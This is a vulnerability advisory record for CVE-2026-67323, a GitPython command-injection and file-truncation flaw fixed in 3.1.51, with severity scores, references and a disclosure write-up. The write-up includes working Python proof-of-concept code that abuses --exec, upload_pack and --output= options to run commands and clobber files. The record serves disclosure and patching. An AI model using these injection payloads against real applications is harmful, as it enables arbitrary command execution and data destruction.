{"id":"CVE-2026-67323","aliases":["CVE-2026-67323","GHSA-956x-8gvw-wg5v","PYSEC-2026-3839"],"related":[],"kind":"vulnerability","state":"published","title":"GitPython before 3.1.51 Command Injection via unguarded Git options","summary":"GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"<cmd>\"} give\ngit archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"<cmd>\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.<anything>(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '<- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"GitPython anterior a la versión 3.1.51 no protege contra opciones peligrosas de Git pasadas como argumentos de palabra clave en Repo.archive() y git.ls_remote(), permitiendo la inyección de comandos a través de opciones como --exec/--upload-pack (lo que lleva a la ejecución arbitraria de comandos). Además, Repo.iter_commits() y Repo.blame() no verifican los argumentos de revisión que comienzan con un guion, por lo que una revisión como --output=[path] puede hacer que Git abra y trunque un archivo arbitrario. La explotación requiere una aplicación que pase argumentos controlados por el atacante a estos métodos.","source":"nvd"}],"published":"2026-07-21T20:10:06.000Z","modified":"2026-10-23T23:10:00.157Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"}],"cwes":["CWE-77","CWE-88"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.1.51","status":"affected"},{"type":"semver","version":"3.1.51","status":"unaffected"}],"vendor":"gitpython-developers","product":"GitPython","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.1.51"}],"ecosystem":"PyPI","package":"gitpython","purl":"pkg:pypi/gitpython","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.1.51"}],"vendor":"gitpython_project","product":"gitpython","cpe":"cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.1.51"}],"ecosystem":"PyPI","package":"gitpython","purl":"pkg:pypi/gitpython","source":"pysec"}],"references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options","tags":["exploit","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/gitpython-developers/GitPython/pull/2163","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/gitpython","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-956x-8gvw-wg5v","tags":["advisory"],"sources":["pysec"]}],"credits":["miauzxw"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-08-04T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-67323","url":"https://www.cve.org/CVERecord?id=CVE-2026-67323","licence":"CVE Terms of Use","modified":"2026-10-08T15:24:05.094Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-956x-8gvw-wg5v","url":"https://github.com/advisories/GHSA-956x-8gvw-wg5v","licence":"CC-BY-4.0","modified":"2026-09-10T12:25:39.217Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-67323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67323","licence":"Public domain","modified":"2026-10-23T23:10:00.157Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3839","url":"https://osv.dev/vulnerability/PYSEC-2026-3839","licence":"CC-BY-4.0","modified":"2026-09-10T12:15:03.995Z"}],"updatedAt":"2026-11-25T22:59:30.788Z","epss":{"score":0.01354,"percentile":0.71758,"date":"2026-11-30T12:00:22.000Z"}}